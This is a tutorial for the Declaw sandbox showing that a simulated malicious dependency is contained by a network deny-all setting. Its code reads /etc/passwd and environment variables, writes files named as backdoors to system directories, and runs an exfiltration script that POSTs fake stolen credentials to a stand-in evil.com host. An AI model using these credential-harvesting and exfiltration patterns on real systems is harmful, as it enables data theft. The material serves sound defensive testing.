What You’ll Learn
- What a realistic supply chain attack looks like at the code level
- How
allow_internet_access=False creates a network deny-all sandbox
- Why file reads inside the sandbox are safe (sandbox filesystem, not host filesystem)
- Why file writes inside the sandbox are safe (ephemeral, destroyed on
sbx.kill())
- The four containment guarantees Declaw provides for malicious code
Prerequisites
- Declaw running locally or in the cloud (see Deployment)
DECLAW_API_KEY and DECLAW_DOMAIN set in your environment
This example is available in Python. TypeScript support coming soon.
Scenario
A malicious dependency has been installed in an agent’s environment. When imported, it tries to:
- Read
/etc/passwd and environment variables (credential harvesting)
- Write backdoors to
/etc and /root
- Collect system fingerprinting information
- Exfiltrate all collected data over the network
Code Walkthrough
1. Create the sandbox with network deny-all
from declaw import Sandbox
sbx = Sandbox.create(
template="python",
timeout=300,
allow_internet_access=False, # Deny all outbound network traffic
)
allow_internet_access=False is the simplest way to create a fully isolated sandbox. No domain allowlists or denylists needed — all outbound traffic is blocked.
2. The malicious package simulation
This script simulates the four stages of a supply chain attack:
MALICIOUS_PACKAGE_SCRIPT = """\
import os, json, platform
# Stage 1: Read sensitive files
print("[MALICIOUS] Stage 1: Reading sensitive files")
try:
with open("/etc/passwd") as f:
content = f.read()
print(f" /etc/passwd: READ OK ({len(content)} bytes)")
except Exception as e:
print(f" /etc/passwd: FAILED ({e})")
env_vars = dict(os.environ)
print(f" Environment variables: {len(env_vars)} found")
# Stage 2: Write to system directories
print("[MALICIOUS] Stage 2: Writing to system directories")
for target in ["/tmp/malicious_payload.txt", "/etc/malicious.conf", "/root/.backdoor"]:
try:
with open(target, "w") as f:
f.write("malicious content")
print(f" {target}: WRITE OK")
except Exception as e:
print(f" {target}: FAILED ({e})")
# Stage 3: System fingerprinting
print("[MALICIOUS] Stage 3: System fingerprinting")
info = {"hostname": platform.node(), "system": platform.system(), "machine": platform.machine()}
for key, val in info.items():
print(f" {key}: {val}")
# Stage 4: Ready to exfiltrate
print("[MALICIOUS] Stage 4: Data ready for exfiltration")
print(" Attempting to phone home...")
"""
3. Network isolation tests
Two TCP socket tests prove network is blocked:
# Basic connectivity test
NET_TEST_SCRIPT = """\
import socket
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect(("1.1.1.1", 80))
s.close()
print("CONNECTED")
except Exception as e:
print(f"BLOCKED: {e}")
"""
# Exfiltration attempt — simulates sending stolen data
EXFIL_SCRIPT = """\
import socket, json
stolen_data = json.dumps({"passwd": "root:x:0:0:...", "api_key": "sk-stolen"})
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect(("93.184.216.34", 80)) # example.com IP
payload = (
f"POST /exfil HTTP/1.1\\r\\nHost: evil.com\\r\\n"
f"Content-Length: {len(stolen_data)}\\r\\n\\r\\n{stolen_data}"
)
s.sendall(payload.encode())
s.close()
print("EXFILTRATED")
except Exception as e:
print(f"BLOCKED: {e}")
"""
4. Run and verify
try:
# Run the malicious simulation
sbx.files.write("/tmp/malicious_pkg.py", MALICIOUS_PACKAGE_SCRIPT)
result = sbx.commands.run("python3 /tmp/malicious_pkg.py")
print(result.stdout)
# Test 1: Basic TCP
sbx.files.write("/tmp/net_test.py", NET_TEST_SCRIPT)
r1 = sbx.commands.run("python3 /tmp/net_test.py", timeout=15)
print(r1.stdout) # BLOCKED: ...
# Test 2: Exfiltration
sbx.files.write("/tmp/exfil_test.py", EXFIL_SCRIPT)
r2 = sbx.commands.run("python3 /tmp/exfil_test.py", timeout=15)
print(r2.stdout) # BLOCKED: ...
# Check what the malicious script wrote
for path in ["/tmp/malicious_payload.txt", "/etc/malicious.conf", "/root/.backdoor"]:
try:
content = sbx.files.read(path)
print(f" {path}: exists in sandbox ({len(content)} bytes)")
except Exception:
print(f" {path}: not present")
finally:
sbx.kill()
Expected Output
Scenario: A malicious dependency has been installed...
--- Running Malicious Package Simulation ---
[MALICIOUS] Stage 1: Reading sensitive files
/etc/passwd: READ OK (1024 bytes)
Environment variables: 12 found
HOME=/root
PATH=/usr/local/sbin:...
[MALICIOUS] Stage 2: Writing to system directories
/tmp/malicious_payload.txt: WRITE OK
/etc/malicious.conf: WRITE OK
/root/.backdoor: WRITE OK
[MALICIOUS] Stage 3: System fingerprinting
hostname: sandbox-abc123
system: Linux
machine: x86_64
[MALICIOUS] Stage 4: Data ready for exfiltration
Attempting to phone home...
--- Network Isolation Test ---
Test 1: Basic TCP connectivity
Output: BLOCKED: [Errno 110] Connection timed out
[PASS] Outbound TCP connection blocked.
Test 2: Data exfiltration attempt
Output: BLOCKED: [Errno 110] Connection timed out
[PASS] Data exfiltration blocked.
--- Verifying Sandbox Containment ---
/tmp/malicious_payload.txt: exists in sandbox (17 bytes)
/etc/malicious.conf: exists in sandbox (17 bytes)
/root/.backdoor: exists in sandbox (17 bytes)
Why This Is Safe
1. FILE READS
The /etc/passwd read succeeded — but it is the SANDBOX's /etc/passwd,
not the host machine's. Each Firecracker microVM has its own filesystem
built from the template rootfs. Host files are never accessible.
2. NETWORK
All outbound connections are blocked by the deny-all policy.
The stolen data cannot leave the sandbox under any circumstances.
3. FILE WRITES
Writes to /tmp, /etc, and /root succeed inside the sandbox but are
ephemeral. When sbx.kill() is called, the microVM is destroyed and
all written files are gone. No host files are affected.
4. ENVIRONMENT
Environment variables inside the sandbox are minimal — only variables
you explicitly pass at sandbox creation time. Host secrets (AWS keys,
database passwords, CI tokens) are never present in the sandbox env.
Without Declaw
Running the same malicious package on a developer’s machine or CI server would give it:
- Access to real
/etc/passwd and /etc/shadow (host credentials)
- Access to
~/.aws/credentials, ~/.ssh/id_rsa, and other secret files
- Full network access to exfiltrate anything it reads
- Persistent file write access — backdoors survive process exit